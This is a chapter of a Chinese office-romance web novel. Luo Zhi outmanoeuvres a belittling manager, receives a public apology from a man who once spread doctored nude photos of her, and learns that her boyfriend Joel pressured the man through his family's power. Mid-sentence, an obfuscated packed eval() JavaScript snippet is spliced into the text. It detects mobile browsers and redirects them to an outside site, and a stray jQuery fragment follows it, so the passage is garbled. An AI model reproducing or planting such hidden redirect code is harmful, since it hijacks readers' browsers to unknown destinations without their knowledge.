今天这个会,很新。
罗芝左边坐着新招来的财务组组长Jason,右边坐着刚调来风管部的项目经理冯峰,眼前还有市场部的一个小分析师,看了一圈下来,她竟然是在场资历最老的分析师。
啊,余珍霓和邓肯不在,她都有点寂寞了。
这次会议的主题是讨论罗芝之前创建的动态数据分析模版,看看能不能应用到市场部的项目里。冯峰四十多岁,在市场部干了十年,作威作福惯了,根本不知道风管部是个什么情况,只飞速撇了一眼方案,就开始打压嘲讽。
“罗芝,你的提案看起来太理论化了,根本不像实战派做的,看你年纪轻轻,想必这是你第一个亲自参与的创新项目吧?哎,太心急了,很不成熟,你要多跟前辈学习才行啊。”
身后的艾雅倒吸一口气。
冯峰暗自得意:看吧,小姑娘家家的,就是不堪重用,果然一句话就唬住了。
然而他不知道,艾雅想的其实是:您是哪家的蠢驴,怎么来之前不先打听打听我们部门的风水?
敢惹我罗芝姐,你且等着——
好吧,不需要等,罗芝挽了一下头发,平静回应:“那请教一下,您觉得实战派的判断标准是什么?是出于经验,还是数据结果?”
冯峰张嘴:“我——”
然而罗芝根本没给他机会,面不改色又补了一句:“冯经理,我挺羡慕您这种判断力的,结论张口就来,不看数据就能知道项目成效,可厉害了——我就不行,还得靠建模结果呢。”
bingo,一句反杀,正中眉心。
既反击了贬低,又含沙射影指出对方脱离事实,简直是四两拨千斤的效果。
冯峰恼怒了,却一时找不到话来回应,罗芝没有骂人,他不能公开斥责,但轻轻一句话就将他羞辱,他怎么咽得下这口气?
整个会议室霎时被低气压充斥,冯峰脸涨红,急剧喘息片刻,突然尖锐起来:“我否决这个数据平台优化的建议!你这些纯属空中楼阁,根本看不到什么实质性的进步——”
他猛地转向市场部,习惯性又要甩锅:“再说改动太多也太激进,客户不会愿意接受的!”
罗芝不争辩,也安静地看向那边。
突然唰唰唰几道目光射过来,小分析师紧张的立刻正襟危坐,咳咳两声,麻溜地背起腹稿来。
“是这样的,我今天来,就是想传达一下我们VP的意思,之前罗芝姐那个轻量版的demo效果很好,我们给客户做过一次小型内部展示,客户主动提出要正式跟进这个方向……”
冯峰:。
你为什么不早说。
然而小分析师太紧张了,根本不会看脸色,还在磕磕巴巴地背稿子:“维德升职之后,三个部门拆了,我们现在需要依靠项目经理牵线搭桥,不是特别方便,但我们VP说,市场部内部是很支持罗芝姐的设计的,还希望项目经理多多协调资源给我们……”
冯峰:够了别说了。
今天我受的羞辱已经够多了。
冯峰强行平息怒火,大大地深呼吸了一下,转过头来的时候,竟然已经是笑容满面,让罗芝大为惊奇。
“既然市场部的反馈很好,”他说这话的时候简直是从牙缝里蹦出来的,嘴型都不带变的,“那自然是要继续推进的……罗芝,我早就听说了,你很有学习天赋,也有创造力,这个数据自动化的模版,肯定能顺利套用到项目上,大放异彩。”
“是吗?”罗芝笑了:“多谢,其实只要您不嫌弃我太年轻心急、不跟长辈请教,就一定会大放异彩的。”
“哦对了,冯经理,”罗芝顿了顿,竟然还要补刀,“我们风管部比较擅长看数据,下次您再想扣帽子,好歹也拿份数表报告来包装一下,不然狼子野心暴露在外,总归难看。”
艾雅悄悄捂上了眼睛:……
Jason脸上挂不住,小分析师目瞪口呆,“啪”的一声,连着笔记和原子笔都掉到了地上。
“罗芝!!!”冯峰简直要怒火中烧,然而突然想到什么,又生生压下去了,恨得咬牙切齿也只能说:“好……谢谢你。”
罗芝:?
怎么这么快就蔫了?我还想再战三百回合呢。
无人注意的角落,艾雅整个人都不好了。
知道罗芝姐疯,但怎么今天这么疯?是宿醉没醒,还是又开了什么外挂?
冯峰和Jason走出会议室的时候,心里估计也是同样的疑问。
市场部的小分析师看人都走了,赶紧凑上来:“罗芝姐!我可算有机会跟你共事了,我叫梁萌萌,你叫我小萌就行。”
罗芝一点头:“小萌,你好啊。”
“我可仰慕你了,今天见到你本人,果然气质不同反响……”梁萌萌竟然绕着罗芝转了半圈:“你这套西装太好看了!烟灰色真高级——我听说你在摩美从来不穿粉色,我也觉得,粉色太low,不显洋气!像你这样穿的设计简约色彩流畅,最显大气,你太时尚!”
“我,时尚?”罗芝愣了三秒,突然哈哈大笑起来。
“啊……”小分析师有些局促,看着背后的艾雅,紧张地问:“我说错什么话了吗?”
艾雅叹了口气摇摇头。
狐假虎威仗势欺人的,点头哈腰阿谀奉承的,三步地雷两步马屁,怎么摩美什么油腻的分析师都叫罗芝姐碰上了啊,这就是谈了个美男子的代价吗?
……算了,值得。
“哈哈哈哈哈……”罗芝还在笑,几乎笑出眼泪,她是如此畅快,也不在意别人莫名其妙的眼光了,她心里涌起很多回忆,然而又转眼化成云烟,带着一种恶狠狠的和解。
她又一次跟自己和解了。
于是转头拍了拍小分析师的肩膀:“是啊,你说的对。”
她顺手把笔记本递给艾雅:“你先回去吧,刚刚没吵起来心里不爽,我要去战略部宣泄一下。”
艾雅心里一惊,连忙接过,眼睁睁看着罗芝迅速转身,大步带风,走得那叫一个昂首挺胸,颇有沙场点兵的飒爽英姿,她心里干着急也没有用,只能默默地为乔尔先生点一柱——
“罗芝姐,罗芝姐?”徐尘猛地打断她的哀悼,冲过来拦住了罗芝的去路。
他跑得上气不接下气,双颊涨红,本来就圆的脸蛋此刻像极了一个巨型柿饼:“你看到公告了吗,申城金融快讯和摩美的官网都发了!”
罗芝一惊:“发什么?!”
不至于吧,我就谈个恋爱,需要这样吗……?
然而徐尘把手机递来,罗芝读了两下,眼睛顿时瞪得滚圆,表情震惊又复杂。
艾雅抱着一堆东西,七手八脚地拿出手机,一登陆,立刻尖叫起来:“罗芝姐!蒋栈公开道歉了!”
是的,正如徐尘所言,蒋栈在申城金融新闻网上发表了公开道歉信,而由于道歉的对象是罗芝,摩美也在第一时间转发到了观望上,信里,蒋栈措辞诚恳,语气卑微,时隔九年,他终于公开承认了自己在未经罗芝允许、甚至罗芝本人都不知情的情况下,恶意将她的照片p成裸照,发布在申大的校园论坛上,他将这个卑劣的行径一口认下,半分都没试图推脱——至于学生会有无其他人参与、辅导员为何偏袒庇佑,他没有提,罗芝也不想再追究了。
【九年前,我因一己私欲及极端不成熟的心理,造成了对您极大的伤害与困扰。借此公开信,我愿意郑重向您道歉。】
【从即日起,我从现任公司辞去一切职务,并自愿接受公司对我进行的内部调查与合规审查。】
【我深知,一封信无法洗净多年前犯下的错误。也许对您而言,这样的道歉来得太迟,也毫无意义。但我仍希望,未来无论在什么样的境地中,我都不再是那个卑劣的、逃避责任的男人。】
【愿您不再受任何来自我的打扰。蒋栈。】
艾雅和徐尘从手机上抬起头,面面相觑。
今天的金融圈,估计要炸了。
罗芝同手同脚地上了摩美四十二层。
战略部门设在董事会办公室之下,是最高层级的内部决策部门之一,属于摩美的核心智囊单位,这里的人最接近权力核心,可以横向调动资源,连工作内容都不需要向员工披露。
罗芝在摩美上班三年,从未有机会踏足这个楼层。
但她此时心潮澎湃,什么都顾不得了,哪怕会被挡在门外,她也要据理力争,她想好了,无论要接受什么样的考验,她都认,总之她今天必须见到乔尔。
秘书抬头看到她,似乎并不意外:“您就是罗芝女士吧?”
罗芝提着一口气,把激动的情绪压进胸口,颤颤巍巍地开口:“我要见乔尔,乔尔·维森……我没有预约,但我要见他。”
她脑子里跑代码一样预设了十几种不同的婉拒方式,谁知秘书非常认同地点头:“当然当然,他把办公室关了一上午不见客,就是等着您呢。”
罗芝:……?
说着起身,带罗芝走过一扇刷卡三重认证的磨砂玻璃门,向里指了指:“乔尔先生的办公室在最里面,您自己去吧。”
走之前还偷偷瞄了罗芝一眼,低声咕哝:“总算见到真佛了……厉害,厉害。”
罗芝:。
罗芝推开门的同时,乔尔朝她走了过来。
办公室很大,落地窗外是申城市中心的天际线,老派的意大利皮沙发后面是一面定制书墙,书墙旁又格出了一个小小的隐形酒柜,桌上的文件井井有条,没有多余的摆设,房间没有一点浮华,带着明显的冷静和克制感。
罗芝看都不看一眼,拉着乔尔就走。
“去哪儿?”乔尔无奈地笑,“现在整个摩美上下哗然,别说摩美了,申城的金融圈想必都在忙着打探八卦,你总不希望这时候跑到众人面前去拉拉扯扯吧?在这儿谈是最方便的,坐,罗芝。”
他引着罗芝来到沙发坐下。
罗芝手脚僵硬地坐在乔尔身边,紧紧盯着他:“蒋栈发了公开道歉信。”
乔尔恩哼一声:“早就该发了。”
“是你吗?”罗芝激动地追问,她心里当然有了答案,只是乔尔不亲口说,她总还是不能相信:“你用了什么办法让他屈服?”
“当然是借职位之便,给那家养老金机构施加一点压力,并建议他们更换对接人。”乔尔本来只想轻松带过,但看到罗芝瞳孔地震的样子,又不得不直起身子好好解释:“我只是在他的工作上挑了一点刺儿,顺势提出这个需求,德国方本来就对蒋栈的岗位不满意了,我提出摩美不对接此人的要求,将他架空,也算顺水推舟。”
“就因为这样,他就能束手就擒?”罗芝不太相信。
乔尔点头:“蒋栈当然不是个坐以待毙的人,他知道摩美方对他提出了意见,连带着自己的职位实质性失效,形同雪藏,为了仕途,他自然是立刻起了见异思迁的心思。”
罗芝挑了挑眉毛。
“不过我利用了一点点人脉,联系上他正在洽谈跳槽的两家竞争基金,嗯,也不需要做什么,”乔尔轻描淡写,“只要稍稍提一句就行。”
——我们近期有为合作方的负责人,行为不当,导致项目几度受阻,想想真令人扼腕叹息。
就这么一句话,甚至不需要指名道姓,两家基金立刻同时撤销了对蒋栈的职位评估。
罗芝:……
半晌,她才找回自己的声音,难以置信道:“一点点人脉……你管这个叫做一点点人脉?”
乔尔笑了,伸出手,将罗芝揽入怀里:“我以为他还要继续僵持,连下一步棋也准备好了,谁知他竟如此不堪一击,连夜就把道歉信写好了,还殷勤地让我过目,确保我满意。”
“你原本的计划还有什么?”罗芝抬头,难以相信。
乔尔的心跳沉稳有力,一下一下,像是为她而存在。
“哦,我通过私人基金会认识了一家国际NGO,专门推动职场性别平等的议题,如果蒋栈继续嘴硬不承认,我大可以将九年前的事件举报给这家组织,在最大限度地保护你隐私的同时,扩散他的恶劣行为,德国职场本就极其重视性骚扰和隐私侵害,一旦有证据,就是永久的道德污点,以后他还想在那个国家的任何组织里找到工作,只怕都难。”
他一只手轻抚着罗芝的背,另一只手按在她白皙的后颈上,像是护着一个宝物,安静坚定,带着极致的温柔。
罗芝沉默了。
时隔九年,她其实记不起蒋栈的样子了,只记得他是学生会的重要成员,那年她刚入学,听学长学姐说过,蒋栈从小到大都是保送直升,成绩优异,是典型的别人家的孩子,后来从金融系毕业,他赴德国慕尼黑大学攻读硕士,之后就留在了德国。
他学历漂亮,履历光鲜,然而所谓的完美只存在于那张薄薄的A4纸简历上,很少有人知道,他的内里却是个坏透了的人。
他如今这样,是罪有应得。
这个世界确实不公,如果不是乔尔用了这样的手段,罗芝不知还要多少年才能等到这封道歉信。
罗芝心里五味陈杂,感激的话到了嘴边却说不出口,她看着乔尔,眼前的男人还是这么好看,鼻梁挺直,唇线不薄不厚,轮廓修长干净,最重要的是,他正用温柔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536355|167756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的眼神回望着自己,两人坐在沙发上,膝盖顶着膝盖,乔尔的大手紧紧攥着罗芝的手。
明明是如此亲密的姿势,为什么又像隔了万水千山的现实阻碍。
明明她应该欣慰应该觉得圆满,甚至就算喜极而泣也不算夸张。
可她张了张嘴,心里只觉得苦涩。
“乔尔……你,你真的是那个大投资家霍如海的儿子?”
她拿出手机,上面是刚刚搜出来的霍氏集团的简介页面:“这是你家吗,乔尔?我以前只以为你是单纯有钱而已,你也一直假装你身世普通……在你眼里,这个叫普通吗?”
这已经远远超出了蔬蔬那种土豪级别的富二代,这是罗芝碰都碰不到的阶层,是完全不同的阶层——在资源、圈层、话语权和资本运作面前,连“努力”都显得可笑的阶层。
“你知道了?”乔尔有点惊讶,但又立刻握住罗芝的手,赶紧解释道:“我承认,为了让蒋栈发公开道歉信,我确实需要动用一些家里的资源……罗芝,别怪我,我知道你已经可以勇敢地面对这个世界,但是别拒绝我的帮助,我也想为你助力,哪怕只是打个辅助。”
“……”罗芝瞪眼:“你管这个叫辅助?没见过管王炸叫对三的辅助。”
乔尔摆了摆手,他穿着剪裁流畅的深色西装,贴着修长的身形,举止间带着一种训练有素的矜持感,站在人群时,他往往不动声色,但目光一落,又让人难以忽视。
“总之,原本就是打算道歉信发了之后再跟你一并解释的,我没想隐瞒,真的。”
“是,你是没想隐瞒,”罗芝神情恍惚地摸了一下对方的脸,“可是乔尔,我……我跟你差太远了,我昨天跟你表白的时候,没想到原来会这么复杂,如果我知道的话,如果……”
如果我知道,我可能根本就不敢表白了。
他们本来就是因缘际会才得以相遇,他们之间本来就存在了太多巧合和阴差阳错,如今一切都已明了,罗芝还怎么坦然接受这天差地别的现状?
乔尔却久久地盯着罗芝,叹了一口气。
“其实我不是个没有情趣的人,”乔尔摊手,无奈坦白,“但是罗芝,你总是抢先一步。”
罗芝:“哈?”
乔尔站起来,走到书桌前拉开抽屉,拿出一个深蓝色真皮礼盒,语气颇为不甘,甚至带着几分幽怨:“昨天我问你,为什么非要选在这一天……现在你可以告诉我,你是怎么知道我打算今天表白呢?”
罗芝:???
乔尔走过来,把盒子打开:“道歉信定好了今天发,礼物也是今早刚刚送到,本来晚上我订了邮轮餐厅,打算到时候送给你,可是现在计划都被打乱了……罢了,我注定要栽给你的。”
盒盖中央用烫金压着品牌logo,罗芝勉强认出是个法国高级珠宝品牌,但下面又写着一行字:HauteJoaillerie,她有些困惑,凑过去看。
竟然是一顶王冠。
那是一顶手工打造的小型王冠,白金被打磨至镜面般柔润,折射出温柔的光晕,冠上用钻石镶制了三只蝴蝶,中央的主蝴蝶张开翅膀,羽翼生风,两侧略小的蝴蝶如护翼般环绕,在内侧的金属衬边上,刻着一句法语箴言:
Ellevole,maisellerevient.
她会飞翔,但终将归来。
“这是我以私人名义在总店定制的礼物,今早才刚刚送到……”乔尔将王冠送到罗芝手上,然后低下身去,半跪在沙发前,偎在罗芝身边,捧着她的手。
他深棕色的眼睛如此深邃,仿佛可以盛下一整个星空,可他的眼里只有罗芝。
“我就是想告诉你,你值得,罗芝,你值得。”
“你已经非常非常勇敢了,以后,你尽管展翅去飞,我会一直陪着你。”
“在你不知道的角落,我已经陪了你很久,以后我可以公开站在你身边,我还想陪你更久更久。”
罗芝看着这顶举世无双的王冠,眼眶发热。
乔尔似乎有些激动,反复向罗芝保证:“你相信我,我一定忠贞不渝,情比金坚。”
“……”罗芝十分感动,感动得都有点凌乱了,忍了又忍,还是忍不住开口:“其实我一直想问你,教你成语的老师是不是还卖保健品?”
乔尔:?
“开玩笑的,开玩笑。”罗芝又哭又笑,心情起起伏伏,终于长叹了一口气,认真地对乔尔说:“乔尔,谢谢你。”
谢谢你帮我理清纷乱的头绪,找出世间的意义,谢谢你助我长出盔甲,获得失去已久的勇气,从此之后,我身边有了你,我就敢再次跟世界抗争到底。
乔尔坐上来,紧紧抱住罗芝,两人几乎是胸膛贴着胸膛,身体相依,听着彼此的呼吸。
“以后你想要什么,都可以跟我说,我都愿意为你做。”
罗芝摇头,我并不是一定要你先表白,也并非一定要什么邮轮晚餐,至于王冠……
哦,王冠我还是要的。
……那可是王冠啊!
但是罗芝没有说出口,她突然上前,揪住了乔尔的领带。
空气像是被悄然加热了一度,罗芝低垂着眼睛,难得地不敢看乔尔的眼睛,她把脸颊贴紧乔尔的脖颈,搂住他的肩膀,低声说:“……我想要你。”
“这么巧啊?”乔尔笑了,一把抱住罗芝的腰,反手用力,两人的位置突然颠倒,眨眼间,他已经把罗芝压到了沙发上。
他的手撑在罗芝耳侧,深深地看着她的眼睛,罗芝一惊,还未出声,唇就被他堵住。
他一寸寸吻过去,占有欲几乎化作空气中的每一缕热流,他声音低哑,喉结微动,温柔的磁性里藏着深沉的渴望:“这么巧……我也想要。”
罗芝没有挣扎,她闭上眼,轻轻回应,甚至抬手搂住乔尔的后背,指尖轻滑,像是安抚,又像是妥协。
两人呼吸交叠,暧昧缠绕,罗芝沉沦在这酝酿许久的拉扯里,在乔尔一触即燃的热情下控制不住地发颤。
他们终于打破了这条欲言又止的界线,从此赤诚相对,不再退让,不再假装。
窗外是申城的天际线,而这个空间里,他们只有彼此……和罗芝吱嘎乱响的手机。
“喂,乖女!忙吗?”蔬蔬在电话那头豪爽地喊:“我在你公司楼下了,你下来一趟呗?”
罗芝推开乔尔,慌乱地整理腰间凌乱的衬衫衣襟,仿佛蔬蔬能看见似的,她捏着手机的指头都在发颤,嘴上却赶紧回应着:“好,好的,我马上下来。”
“……”乔尔坐起来,叹了口气:“我陪你一起吧。”